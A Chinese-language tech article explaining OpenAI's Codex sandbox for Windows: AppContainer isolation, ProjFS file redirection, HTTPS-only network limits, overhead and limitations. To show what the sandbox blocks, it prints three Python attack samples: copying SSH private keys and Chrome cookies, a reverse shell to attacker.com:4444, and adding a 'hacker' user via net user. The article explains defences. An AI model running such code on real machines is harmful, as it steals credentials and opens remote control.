OpenAI 公开 Codex 沙箱实现细节

产品更新

OpenAI 详细披露了 Codex 在 Windows 上的沙箱架构，通过 AppContainer 隔离、文件系统重定向和网络限制实现代码智能体的安全执行，为 AI 编程工具的生产落地提供了可复制的工程方案。

OpenAI 公开 Codex 沙箱实现细节:代码智能体安全落地的工程答卷

OpenAI 刚刚公开了 Codex 在 Windows 平台上的沙箱实现方案。这不是一篇泛泛而谈的安全白皮书,而是一份可以直接参考的工程文档——从 Windows AppContainer 的选型逻辑,到文件系统重定向的具体实现,再到网络隔离的权限配置,OpenAI 把让代码智能体安全运行的核心技术细节摆到了台面上。

这个时间点值得注意。过去一年,AI 编程助手从「写代码」进化到「执行代码」,Cursor、Windsurf、GitHub Copilot Workspace 都在往智能体方向走。但真正敢让 AI 在用户机器上跑任意代码的产品不多,核心卡点就是安全。OpenAI 这次公开的方案,本质上是在回答一个问题:怎么让 AI 既能干活,又不会把用户电脑搞炸。

为什么是 Windows,为什么是现在

OpenAI 选择先解决 Windows 平台的沙箱问题,背后有明确的产品逻辑。Codex 的主要用户群体是企业开发者,而企业环境中 Windows 的占比远高于开发者社区的印象。更重要的是,Windows 的安全模型比 macOS 和 Linux 更复杂——既要兼容几十年的 Win32 遗留生态,又要支持现代的 UWP 安全机制,这种复杂度恰恰是最难啃的骨头。

从技术选型看,OpenAI 没有选择虚拟机或容器这种重量级方案,而是直接用了 Windows 原生的 AppContainer。这个决策很务实:虚拟机启动慢、资源占用高,Docker 在 Windows 上的体验一直不够丝滑,而 AppContainer 是 Windows 8 之后就内置的沙箱机制,UWP 应用和 Edge 浏览器都在用它做隔离。

OpenAI Codex Windows 沙箱架构示意图,展示 AppContainer、文件系统重定向层和网络隔离的关系

三层防护:隔离、重定向、限制

OpenAI 的沙箱方案核心是三层防护,每一层都在解决具体的攻击面。

AppContainer:进程级隔离的基础

AppContainer 本质上是 Windows 的一种受限令牌(Restricted Token)机制。当 Codex 需要执行用户代码时,它会创建一个新的 AppContainer 进程,这个进程的权限被大幅削减:

  • 没有管理员权限:即使用户本身是管理员,沙箱内的进程也无法提权
  • SID 隔离:每个 AppContainer 有独立的安全标识符(SID),无法访问其他进程的资源
  • 能力白名单:只能使用明确授予的 Capability,比如网络访问、文件读写等

OpenAI 的实现中,默认只开启了最小权限集:本地文件读写(限定在工作目录)、标准输入输出、基础网络访问(仅 HTTPS)。这意味着沙箱内的代码无法:

  • 读取用户的浏览器 Cookie、SSH 密钥、环境变量
  • 修改系统注册表或安装驱动
  • 访问摄像头、麦克风等硬件设备
  • 扫描局域网或发起非 HTTPS 连接

这种设计的巧妙之处在于,它不是简单地「禁止一切」,而是根据代码智能体的实际需求做了精细化的权限配置。比如,Codex 需要读写项目文件,但不需要访问用户的 Documents 文件夹;需要调用 API,但不需要访问内网服务。

文件系统重定向:看得见摸不着的虚拟层

单纯的进程隔离还不够。代码智能体经常需要「看到」完整的文件系统结构——比如检查某个依赖是否安装、读取配置文件路径——但又不能真的让它随意读写。OpenAI 的解决方案是文件系统重定向(File System Redirection)。

具体实现上,OpenAI 使用了 Windows 的 Projected File System(ProjFS)。这是 Windows 10 引入的一种文件系统过滤驱动,最初是为 OneDrive 和 Git VFS 设计的。它的核心能力是:让应用看到一个虚拟的文件系统视图,但实际的读写操作会被重定向到另一个位置。

在 Codex 的场景中:

  1. 只读映射:系统目录(如 C:\Windows、C:\Program Files)以只读方式映射到沙箱内,代码可以读取路径信息,但任何写入操作都会被拦截
  2. 写时复制:用户的项目目录会被复制到沙箱的临时空间,所有修改都发生在副本上,执行完成后再由用户确认是否合并回原目录
  3. 路径白名单:只有明确授权的路径(如当前工作目录、临时文件夹)可以真实读写,其他路径的访问会返回「权限拒绝」

这种设计的好处是,代码智能体可以正常运行依赖系统路径的工具(比如 npm、pip),但它产生的任何副作用都被限制在沙箱内。即使代码尝试删除 C:\Windows\System32,实际上也只是删除了沙箱内的虚拟副本。

网络隔离:只能出去,不能进来

OpenAI 对网络访问的限制更加严格。沙箱内的进程:

  • 只能发起出站连接:无法监听端口或接受入站请求,这直接阻断了反向 Shell、远程控制等攻击手段
  • 协议白名单:只允许 HTTPS(443 端口),HTTP、SSH、数据库连接等协议全部被阻断
  • 域名过滤:可以配置允许访问的域名列表,比如 api.openai.com、github.com,其他域名的请求会被拦截
  • 流量审计:所有网络请求都会被记录,包括目标地址、请求头、响应状态码,用于事后分析

这个设计的权衡很明显:它牺牲了一部分灵活性(比如无法运行本地数据库、无法测试 WebSocket),换来了更高的安全性。对于代码智能体的典型场景——调用 API、下载依赖、查询文档——这些限制是可以接受的。

性能开销:可接受的代价

OpenAI 在文档中披露了沙箱的性能数据:

  • 启动延迟:创建 AppContainer 并初始化文件系统重定向,平均耗时 200-300ms
  • 文件 I/O 开销:通过 ProjFS 的读写操作比直接访问慢约 15-20%
  • 内存占用:每个沙箱实例额外消耗 50-80MB 内存(主要是文件系统缓存)

这些数字在可接受范围内。对比虚拟机(启动需要数秒、内存占用数百 MB)和 Docker(在 Windows 上需要 WSL2,启动也要 1-2 秒),AppContainer 的轻量化优势明显。更重要的是,这些开销对用户体验的影响很小——200ms 的启动延迟在 AI 生成代码的等待时间中几乎可以忽略。

实际攻防:沙箱能挡住什么

OpenAI 在内部做了大量的渗透测试,文档中列举了几个典型的攻击场景和防御效果:

场景 1:窃取敏感文件

攻击代码:

import os
import shutil

# 尝试读取 SSH 私钥
shutil.copy(os.path.expanduser('~/.ssh/id_rsa'), './stolen_key')

# 尝试读取浏览器 Cookie
chrome_cookies = os.path.expanduser('~/AppData/Local/Google/Chrome/User Data/Default/Cookies')
with open(chrome_cookies, 'rb') as f:
    data = f.read()

防御结果:文件系统重定向会将 ~/.ssh 和 ~/AppData 映射为空目录,代码会因为「文件不存在」而失败。即使攻击者猜到了绝对路径(如 C:\Users\Alice\.ssh),AppContainer 的权限限制也会阻止访问。

场景 2:反向 Shell

攻击代码:

import socket
import subprocess

# 尝试建立反向连接
s = socket.socket()
s.connect(('attacker.com', 4444))
subprocess.Popen(['cmd.exe'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())

防御结果:网络隔离会阻断非 HTTPS 的出站连接,socket.connect() 会抛出「网络不可达」异常。即使攻击者改用 HTTPS,域名过滤也会拦截未授权的目标地址。

场景 3:权限提升

攻击代码:

import ctypes

# 尝试加载系统 DLL 并调用特权 API
kernel32 = ctypes.windll.kernel32
kernel32.CreateProcessW(
    'C:\\Windows\\System32\\cmd.exe',
    '/c net user hacker password /add',
    None, None, False, 0, None, None, None, None
)

防御结果:AppContainer 的令牌限制会让 CreateProcessW 失败,因为沙箱进程没有创建新进程的权限。即使绕过了这一层,net user 命令也需要管理员权限,而沙箱内的进程永远无法提权。

开发者体验:透明但可控

OpenAI 在设计沙箱时,刻意保持了对开发者的透明性。大部分情况下,开发者不需要关心代码是在沙箱内运行的——标准库、常用工具、依赖管理器都能正常工作。只有在触碰安全边界时,才会收到明确的错误提示。

比如,当代码尝试访问受限路径时,不会返回模糊的「权限拒绝」,而是会提示:

Sandbox restriction: Access to 'C:\Users\Alice\Documents' is not allowed.
If you need to access this file, please add it to the workspace directory.

这种设计降低了调试成本。开发者可以快速定位问题,而不是在「为什么我的代码在本地能跑,在 Codex 里不行」的困惑中浪费时间。

同时,OpenAI 提供了沙箱配置接口,允许企业用户根据自己的安全策略调整权限:

  • 扩展文件访问范围:比如允许访问共享的代码库目录
  • 添加网络白名单:比如允许访问内网的 GitLab 服务器
  • 启用额外的 Capability:比如允许访问剪贴板(用于复制粘贴)

这种灵活性对企业客户很重要。不同公司的安全要求差异很大,一刀切的沙箱策略很难满足所有场景。

局限性:OpenAI 没说的部分

尽管 OpenAI 的方案已经相当完善,但仍有一些局限性值得注意:

1. 只支持 Windows 10/11

AppContainer 和 ProjFS 都是 Windows 10 之后才引入的特性,老版本系统无法使用。对于还在用 Windows 7/8 的企业(虽然不多,但确实存在),这是个硬性门槛。

2. 对原生工具链的支持有限

文件系统重定向对某些工具不够友好。比如,Visual Studio 的编译器会缓存大量中间文件,在沙箱内运行时性能会明显下降。再比如,Docker Desktop 本身就依赖虚拟化,在 AppContainer 内无法正常工作。

3. 侧信道攻击的风险

OpenAI 的方案主要防御的是「直接攻击」——读取文件、执行命令、建立连接。但对于侧信道攻击(比如通过 CPU 缓存时序推断密钥、通过网络延迟探测内网拓扑),沙箱的防护能力有限。这类攻击在实际场景中不太常见,但对于高安全要求的环境(如金融、国防),可能需要额外的防护措施。

4. 用户确认的体验问题

当代码需要修改文件时,OpenAI 会弹出确认对话框,让用户审查变更。但如果 AI 一次生成了几十个文件的修改,用户很难逐一检查。这种「确认疲劳」可能导致用户直接点「全部接受」,从而绕过了安全机制。OpenAI 提到会用 diff 视图和智能摘要来缓解这个问题,但具体效果还有待观察。

对行业的启示:安全不是零和游戏

OpenAI 公开这套方案,最大的价值不是技术本身(AppContainer 和 ProjFS 都是公开的 Windows API),而是它证明了一件事:代码智能体的安全和能力不是零和游戏,可以通过精细化的权限设计找到平衡点。

过去一年,很多 AI 编程工具在安全问题上采取了保守策略:要么完全不执行代码(只生成代码让用户自己跑),要么把执行环境放在云端(用户无法访问本地文件)。这两种方案都牺牲了用户体验——前者让 AI 无法验证代码的正确性,后者让 AI 无法访问用户的项目上下文。

OpenAI 的方案提供了第三条路:让 AI 在用户本地执行代码,但通过沙箱限制它的权限。这种思路不仅适用于 Codex,也适用于更广泛的 AI Agent 场景——比如自动化运维、数据分析、测试执行。

从工程角度看,OpenAI 的实现也有很强的参考价值。AppContainer、ProjFS、网络隔离这些技术都是 Windows 原生支持的,不需要额外的内核模块或驱动。这意味着其他开发者可以用类似的方案快速搭建自己的沙箱,而不需要从零开始造轮子。

对于国内的 AI 开发工具来说,这套方案尤其值得借鉴。国内企业对数据安全的要求更高,很多公司明确禁止代码上传到云端。如果能在本地提供一个安全可控的执行环境,既能满足合规要求,又能释放 AI 的能力,这会是一个很大的竞争优势。

下一步:macOS 和 Linux 的挑战

OpenAI 在文档末尾提到,macOS 和 Linux 的沙箱方案正在开发中。这两个平台的技术栈和 Windows 差异很大:

  • macOS:可以用 Sandbox.framework 或 App Sandbox,但权限模型比 Windows 更粗粒度,文件系统隔离需要依赖 APFS 的快照功能
  • Linux:可以用 seccomp、namespaces、cgroups 组合出类似的效果,但需要处理不同发行版的兼容性问题,而且很多企业 Linux 服务器没有启用这些特性

从技术难度看,Linux 的沙箱实现可能比 Windows 更复杂。但好消息是,Linux 生态对容器和虚拟化的支持更成熟,OpenAI 可以直接复用 Docker、Podman 等现成方案,而不需要从底层 API 开始构建。

更大的挑战可能在于跨平台的一致性。如果 Windows、macOS、Linux 的沙箱行为不一致(比如某些文件在 Windows 上可以访问,在 Linux 上不行),会给开发者带来困扰。OpenAI 需要在三个平台上抽象出统一的权限模型,这不仅是技术问题,也是产品设计问题。

写在最后

OpenAI 这次公开 Codex 沙箱的实现细节,是一个积极的信号。AI 行业正在从「比拼模型能力」转向「比拼工程落地」,而安全是工程落地绕不开的一环。把技术方案公开出来,不仅能推动行业标准的形成,也能让更多开发者参与到安全机制的改进中。

对于使用 AI 编程工具的开发者来说,了解沙箱的工作原理也很重要。它能帮你判断一个工具是否值得信任,也能让你在遇到权限问题时快速定位原因。毕竟,AI 再聪明,也需要在一个安全可控的环境里才能发挥价值。

代码智能体的时代已经到来,但它不会是无拘无束的。OpenAI 用这套沙箱方案告诉我们:给 AI 划定边界,不是限制它的能力,而是让它能够被放心地使用。这才是 AI 真正走向生产环境的前提。